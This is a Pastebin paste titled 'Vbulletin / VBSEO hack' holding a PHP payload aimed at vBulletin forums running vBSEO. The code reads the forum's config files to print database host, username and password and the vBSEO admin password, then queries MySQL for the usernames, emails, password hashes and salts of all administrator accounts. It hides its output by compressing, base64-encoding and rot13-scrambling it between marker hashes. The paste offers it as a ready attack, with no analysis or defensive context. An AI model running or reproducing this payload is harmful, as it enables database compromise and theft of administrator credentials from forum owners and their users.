Advertisement
Guest User

Vbulletin / VBSEO hack

a guest
Apr 17th, 2013
1,345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.87 KB | None | 0 0
  1. echo md5('3c4eb64c8db01a5ab261e18fdc16089e');$oa=array('ecnt'=>0);function weh($en, $es, $ef, $el){global $oa;$oa['e'][]=array($en,$es,$ef,$el);};set_error_handler('weh');ini_set('log_errors',0);ob_start();
  2. gtadmndtas();
  3.  
  4. function gtadmndtas()
  5. {
  6.     $out = $bf = $h = '';
  7.     $ag = array();
  8.      
  9.     if(is_file('includes/config.php'))
  10.     {
  11.         include('includes/config.php');
  12.         if(is_file('vbseo/resources/xml/config.xml'))
  13.         {
  14.             $bf = @file_get_contents('vbseo/resources/xml/config.xml');
  15.         }
  16.     }
  17.     elseif(is_file('config.php'))
  18.     {
  19.         include('config.php');
  20.         if(is_file('../vbseo/resources/xml/config.xml'))
  21.         {
  22.             $bf = @file_get_contents('../vbseo/resources/xml/config.xml');
  23.         }
  24.     }
  25.     else
  26.     {
  27.         echo "BD error: config not found\n";
  28.         return;
  29.     }
  30.      
  31.     if(!empty($bf))
  32.     {
  33.         $a = strpos($bf, '<name>VBSEO_ADMIN_PASSWORD</name>');
  34.         if($a !== false)
  35.         {
  36.             $a = strpos($bf, '<value>', $a + 10);
  37.             $b = strpos($bf, '</value>', $a + 7);
  38.             if(($a !== false) && ($b !== false))
  39.             {
  40.                 $h = substr($bf, $a + 7, $b - $a - 7);
  41.             }
  42.         }
  43.     }
  44.      
  45.     $out .= "---------------=-=pong1234321=-=--------------------------<br>\n";
  46.     if(!empty($h))
  47.     {
  48.         $out .= "VBSH: {$h}<br>\n";
  49.     }
  50.     $out .= "ACP: {$config['Misc']['admincpdir']}<br>\n";
  51.     $out .= "dbtype: {$config['Database']['dbtype']}<br>\n";
  52.     $out .= "servername: {$config['MasterServer']['servername']}<br>\n";
  53.     $out .= "port: {$config['MasterServer']['port']}<br>\n";
  54.     $out .= "dbname: {$config['Database']['dbname']}<br>\n";
  55.     $out .= "username: {$config['MasterServer']['username']}<br>\n";
  56.     $out .= "password: {$config['MasterServer']['password']}<br>\n";
  57.     $out .= "tableprefix: {$config['Database']['tableprefix']}<br>\n";
  58.     $out .= "technicalemail: {$config['Database']['technicalemail']}<br>\n";
  59.     $out .= "-----------------------------------------<br>\n";
  60.      
  61.     echo $out;
  62.     $out = '';
  63.     $gt = "{$config['Database']['tableprefix']}usergroup";
  64.     $mt = "{$config['Database']['tableprefix']}user";
  65.      
  66.     $mysql_conn = mysql_connect("{$config['MasterServer']['servername']}:{$config['MasterServer']['port']}", $config['MasterServer']['username'], $config['MasterServer']['password']);
  67.     if(!$mysql_conn)
  68.     {
  69.         echo "Mysql login failed!";
  70.         return;
  71.     }
  72.      
  73.     if(!mysql_select_db($config['Database']['dbname'], $mysql_conn))
  74.     {
  75.         echo "Mysql database selection failed!";
  76.         return;
  77.     }
  78.  
  79.     $sql = "SELECT usergroupid FROM $gt WHERE adminpermissions>1";
  80.     $res = mysql_query($sql);
  81.     if(!$res)
  82.     {
  83.         $err = mysql_error($mysql_conn);
  84.         echo "Mysql query failed: $err";
  85.         return;
  86.     }
  87.      
  88.     while($row = mysql_fetch_assoc($res))
  89.     {
  90.         $ag[] = intval($row['usergroupid']);
  91.     }
  92.      
  93.     $ags = implode(',',$ag);
  94.     $sql = "SELECT userid,username,email,usergroupid,password,salt FROM $mt WHERE usergroupid IN ($ags)";
  95.     $res = mysql_query($sql);
  96.     if(!$res)
  97.     {
  98.         $err = mysql_error($mysql_conn);
  99.         echo "Mysql query failed: $err";
  100.         return;
  101.     }
  102.      
  103.     while($row = mysql_fetch_assoc($res))
  104.     {
  105.         $data = implode("|:|", $row);
  106.         $data = htmlentities($data);
  107.         $out .= "$data<br>\n";
  108.     }
  109.      
  110.     $out .= "-----------------------------------------\n<br>\n";
  111.     echo $out;
  112.     $out = '';
  113. }
  114. $out=ob_get_contents();ob_end_clean();$oa['d'][0]=$out;$out=serialize($oa);$out=gzcompress($out,9);$out=base64_encode($out);$out=str_replace('=','',$out);$out=str_rot13($out);echo($out);echo md5('117ae4783ac97ecf30b2419315518cd1');exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement